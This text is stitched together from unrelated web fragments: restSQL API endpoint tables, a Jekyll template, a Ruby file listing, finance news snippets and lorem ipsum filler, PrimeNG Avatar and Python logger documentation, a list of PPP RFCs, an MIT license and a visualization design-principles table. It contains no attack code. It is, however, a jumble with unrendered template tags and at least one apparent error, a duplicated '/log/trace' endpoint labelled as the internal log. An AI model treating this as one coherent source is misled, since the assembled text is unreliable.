Returns listing all SQL Resources and links for each to limited query, definition and metadata as HTML |
| GET |
/wadl |
Returns restSQL WADL as XML with XSLT style sheet |
Configuration Methods
| GET |
/conf/system |
Returns general framework configuration in structured text |
| GET |
/conf/log |
Returns logging configuration in structured text |
| GET |
/conf/security |
Returns security configuration, currently the privileges for authorization, in structured text |
| GET |
/conf/definition/{resName} |
Returns SQL Resource definition (from user-provided XML file) |
| GET |
/conf/metadata/{resName} |
Returns SQL Resource metadata as understood by restSQL |
| GET |
/conf/reload/{resName} |
Reloads SQL Resource definition (from user-provided XML file) |
Logs and Statistics Methods
| GET |
/log |
Returns browsable list of current and rollover access, error and trace log files, if any |
| GET |
/log/access |
Returns current access log content |
| GET |
/log/error |
Returns current error log content |
| GET |
/log/trace |
Returns current trace log content |
| GET |
/log/trace |
Returns current internal log content |
| GET |
/stats |
Returns summary statistics such as number of requests, errors and average response times in structured text |
XML Schema


Learning how to do all the jQuery things without jQuery!
Our purpose is to educate people that understand jQuery and want to learn Plain Old Javascript!
Lets provide code examples of how to do all-things-jQuery, without jQuery.
jQuery Methods with Javascript Code Examples!
{% for page in site.pages %}
{% if page.status == "active" %}
{% endif %}
{% endfor %}
Methods that are Missing Definitions!
{% for page in site.pages %}
{% if page.status == "inactive" %}
{% endif %}
{% endfor %}


Copyright © {{ site.time | date: "%Y" }} {{ site.author }} - Email: brendan [dot] kemp [at] gmail [dot] com - Twitter: @bdeank - Favicon by Dave Gandy - Powered by Octopress


Files
License
README
rcapture/capture.rb
rcapture/capture_18x.rb
rcapture/capture_19x.rb
rcapture/capture_status.rb
rcapture/captured_info.rb
rcapture/interceptable.rb
rcapture/module_doc.rb
rcapture/singleton_class.rb
rcapture/symbol.rb


New investors taking their first steps towards learning the basics of stock trading should have access to multiple sources of quality education. Just like riding a bike, trial and error coupled with the ability to keep pressing forth will eventually lead to success. One great advantage of stock trading lies in the fact that the game itself lasts a lifetime. Investors have years to develop and hone their skills. Strategies used twenty years ago are still utilized today. The game is always in full force.
Opinions automatically gathered from the world's top experts.
While home prices are rising around the country, potential home buyers can take some solace in interest rates, which continue to defy expectations that they’re going to increase.
BASF SE is working with advisers and financing banks to examine the merits of making a counter bid for DuPont Co., the $55 billion chemical company that agreed to a merger with Dow Chemical Co. in December.
Bruce Bartlett, former Treasury & White House economist, discusses his vote for Donald Trump and shares his political views.
While home prices are rising around the country, potential home buyers can take some solace in interest rates, which continue to defy expectations.
Phasellus convallis elit id ullam corper amet et pulvinar. Duis aliquam turpis mauris, sed ultricies erat dapibus.
Phasellus convallis elit id ullam corper amet et pulvinar. Duis aliquam turpis mauris, sed ultricies erat dapibus.


Lorem ipsum is simply dummy text of the printing and typesetting industry.
Mon - Fri / 08:00 - 18:00
022 1234 5678
admin@dplasa.com


Avatar represents people using icons, labels and images.
Avatar has three built-in display modes; "label", "icon" and "image".
size property defines the size of the Avatar with "large" and "xlarge" as possible values.
A set of Avatars can be displayed together using the AvatarGroup component.
Avatar comes in two different styles specified with the shape property, "square" is the default and "circle" is the alternative.
A badge can be added to an Avatar with the Badge directive.
Content can easily be customized with the dynamic content instead of using the built-in modes.
| Name | Type | Default | Description |
|---|---|---|---|
| label | string | null | Defines the text to display. |
| icon | string | null | Defines the icon to display. |
| image | string | null | Defines the image to display. |
| size | string | null | Size of the element, valid options are "large" and "xlarge". |
| shape | string | square | Shape of the element, valid options are "square" and "circle". |
| style | object | null | Inline style of the component. |
| styleClass | string | null | Style class of the component. |
| Name | Type | Default | Description |
|---|---|---|---|
| style | object | null | Inline style of the component. |
| styleClass | string | null | Style class of the component. |
Following is the list of structural style classes, for theming classes visit theming page.
| Name | Element |
|---|---|
| p-avatar | Container element. |
| p-avatar-image | Container element in image mode. |
| p-avatar-circle | Container element with a circle shape. |
| p-avatar-text | Text of the Avatar. |
| p-avatar-icon | Icon of the Avatar. |
| p-avatar-lg | Container element with a large size. |
| p-avatar-xl | Container element with an xlarge size. |
| Name | Element |
|---|---|
| p-avatar-group | Container element. |
None.


log¶
-
class
naz.log.
SimpleLogger
(logger_name, level=20, log_metadata=None, handler=None, render_as_json=True)[source]¶ Bases:
logging.Logger
It implements a structured logger that renders logs as either json(default) or python dictionary.
example usage:
logger = SimpleLogger("myLogger") logger.log(logging.INFO, {"event": "web_request", "url": "https://www.google.com/"})
-
__init__
(logger_name, level=20, log_metadata=None, handler=None, render_as_json=True)[source]¶ - Parameters
logger_name (
str
) – name of the logger. it should be unique per logger.level (
Union
[str
,int
]) – the level at which to loglog_metadata (
Union
[None
,dict
]) – metadata that will be included in all log statementshandler (
Union
[None
,Handler
]) – python logging handler to be attached to this logger. By default, logging.StreamHandler is used.render_as_json – whether to render logs as json or dictionary. By default it renders as json.
- Return type
None
-
-
class
naz.log.
BreachHandler
(flushLevel=30, capacity=1000, target=None, flushOnClose=False, heartbeatInterval=None, targetLevel='DEBUG')[source]¶ Bases:
logging.handlers.MemoryHandler
This is an implementation of logging.Handler that puts logs in an in-memory ring buffer. When a trigger condition(eg a certain log level) is met; then all the logs in the buffer are flushed into a given stream(file, stdout etc)
It is a bit like logging.handlers.MemoryHandler except that it does not flush when the ring-buffer capacity is met but only when/if the trigger is met.
It is inspired by the article Triggering Diagnostic Logging on Exception
example usage:
import naz, logging _handler = naz.log.BreachHandler() logger = naz.log.SimpleLogger("aha", handler=_handler, log_metadata={"id": "123"}) logger.log(logging.INFO, {"name": "Jayz"}) logger.log(logging.ERROR, {"msg": "Houston, we got 99 problems."}) # or alternatively, to use it with python stdlib logger logger = logging.getLogger("my-logger") handler = naz.log.BreachHandler() formatter = logging.Formatter("%(message)s") handler.setFormatter(formatter) handler.setLevel("DEBUG") if not logger.handlers: logger.addHandler(handler) logger.setLevel("DEBUG") logger.info("I did records for Tweet before y'all could even tweet - Dr. Missy Elliot") logger.error("damn")
-
__init__
(flushLevel=30, capacity=1000, target=None, flushOnClose=False, heartbeatInterval=None, targetLevel='DEBUG')[source]¶ - Parameters
flushLevel (
int
) – the log level that will trigger this handler to flush logs totarget
capacity (
int
) – the maximum number of log records to store in the ring buffertarget (
Union
[None
,Handler
]) – the log handler that will be used.flushOnClose (
bool
) – whether to flush the buffer when the handler is closed even if the flush level hasn’t been exceededheartbeatInterval (
Union
[None
,float
]) – can be a float or None. If it is a float, then a heartbeat log record will be emitted everyheartbeatInterval
seconds. If it is None(the default), then no heartbeat log record is emitted. If you do decide to set it, a good value is at least 1800(ie 30 minutes).targetLevel (
str
) – the log level to be applied/set totarget
- Return type
None
-


Restaurant Finder
Yep, sure is some fine creativity behind the name
Add a Restaurant
Go ahead and choose a restaurant


{% extends "index.html" %} {% block content %}
This tool examining words, and sentences to find the neggative and possitive with a Probability model. The probability model is built on a prelabeled test set of IMDb movie reviews. This tool also detects either the author is male of female. This tool also equipped to detect the language and translate it to english so the analysis should provide maximum accuracy. This tool is the inhanced version of the vivekn web sentiment analysis. you can find this here
You can read more about the details of the model in this paper . The code for the web application and the training module is open source and available on Github .
I've also provided an API for this tool, details on how to use it are on this page
This tool's translation is powered by Yandex


The PPP protocol is documented in a slew of RFC's. Some of these are listed below.
RFC 1332 The PPP Internet Protocol Control Protocol (IPCP)
RFC 1334 PPP Authentication Protocols
RFC 1661 The Point-to-Point Protocol (PPP)
RFC 1662 PPP in HDLC-like Framing
RFC 1877 PPP Internet Protocol Control Protocol Extensions for Name Server Addresses
RFC 1962 The PPP Compression Control Protocol (CCP)
RFC 1968 The PPP Encryption Control Protocol (ECP)
RFC 1969 The PPP DES Encryption Protocol (DESE)
RFC 1978 PPP Predictor Compression Protocol
RFC 1990 The PPP Multilink Protocol (MP)
RFC 1994 PPP Challenge Handshake Authentication Protocol (CHAP)
RFC 2118 Microsoft Point-To-Point Compression (MPPC) Protocol
RFC 2419 The PPP DES Encryption Protocol, Version 2 (DESE-bis)
RFC 2427 Multiprotocol Interconnect over Frame Relay
RFC 2433 Microsoft PPP CHAP Extensions
RFC 2516 A Method for Transmitting PPP Over Ethernet (PPPoE)
RFC 2548 Microsoft Vendor-specific RADIUS Attributes
RFC 2637 Point-to-Point Tunneling Protocol (PPTP)
RFC 2661 Layer Two Tunneling Protocol (L2TP)
RFC 2865 Remote Authentication Dial In User Service (RADIUS)
RFC 2868 Attributes for Tunnel Protocol Support
RFC 3576 Dynamic Authorization Extensions to RADIUS


bg-dark text-white
bg-primary text-white
bg-success text-white
bg-warning text-white
bg-info text-white


Please select a
HTML
link markup!

The MIT License (MIT)

Copyright © 2016 Taufik Nurrohman

Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 a b c d


|
Evaluation Summary Table
There are two sides to evaluation. One is to evaluate an existing design to determine if it uses best practices for design and implementation. The other is as part of an ongoing spiral design process. Evaluation can be used to determine what should be done next with an evolving design to improve its cognitive efficiency.
To use VTDPs for evaluation consider if each in turn is relevant to the design problem. Next determine if best practices are being followed and implement them if they are not. For example, if the same data is provided in multiple views, then VTDP Brushing should be implemented unless there is a good reason not to do so. Visualization design is complex and so VTDPs do not provide hard and fast rules, but in general they are likely to provide guidance towards perceptually and cognitively efficient visualizations.
The table below shows some of the more basic points to be considered in an evaluation process.
| VTDP |
Design Principle |
| VTDP Visual Query |
Graphical design should enable rapid execution of all task relevant visual queries. This means that important symbols should be easily found through visual search, links easily traced visually in network diagrams, and related categories of symbols perceptually grouped. |
| VTDP Visual Monitoring |
Applicable to visualizations for ongoing monitoring where an operator has additional tasks. If a strict schedule is needed, computer based reminders should be implemented. Motion coding can be an excellent visual cue for providing operator interrrupts because motion is visible in the periphery of the visual field. |
| VTDP Cog reconstruction |
Applicable if a visualization tool supports work sessions separated in time. The visualization should support cognitive reconstruction by providing annotation support as a memory aid and enabling the restoration of system state. |
| VTDP Drill down |
All symbols should support drill down if they represent undisplayed task relevant information. |
| VTDP Path finding |
Applicable If the task involves tracing network paths. If average visual path tracing takes more than 10 sec interactive support should be considered. |
| VTDP Drill down with hierarchical aggregation |
Applicable where moderately large data sets are inherently hierarchical or where there is a natural hierarchical decomposition. To support cognitive efficiency adequate information scent should be provided to support decisions about which aggregated objects merit drill down actions. |
| VTDP Seed then grow |
Applicable if the task involves understanding the local neighborhood of a very large network in the vicinity of a particular starting point (e.g. a person). An object is clicked on and related objects appear in a network view. To support cognitive efficiency adequate information scent should be provided to support decisions about which aggregated objects merit growing actions. |
| VTDP Find local network patterns |
Use neighborhood highlighting if the task involves finding local network pattern in a network that is of medium complexity 30>n>500 nodes n>l>2n links. |
| VTDP Pattern comparisons |
Support side by side comparisons using magnifying linked windows or snapshots if the task requires frequent pattern comparisons in a moderately large information space. The decision about whether to implement extra windows or a snapshot gallery should be based on the capacity of visual working memory the visual complexity of the patterns to be compared, and the frequency with which they must be compared. |
| VTDP Cross view brushing |
Applicable if data entities are displayed simultaneously in multiple views, and if the symbol referents are not clear, cross view brushing should be applied. Rapid feedback and visually salient highlighting should be used to support perceptually efficient comparisions between the views. |
| VTDP Dynamic queries |
If a set of data entities are too large to display clearly and require frequent filtering for display dynamic queries should be considered if there is a set of scalar attributed that provide a task relevant basis for filtering. To a rough approximation each filterable attribute can reduce the size of the data set on the display by a factor of 10. So if there are filterable attributes the data set may be reduced by a factor of 10,000. |
| |
|
|


forms
Interfaces
Form
Classes
BotanicSystemForm
BowlForm
BowlModForm
BowlModItemForm
CustomerForm
ExhibitionForm
GeoRegionForm
ModificationForm
SalesForm
StatusForm
TimberForm
TimberOriginForm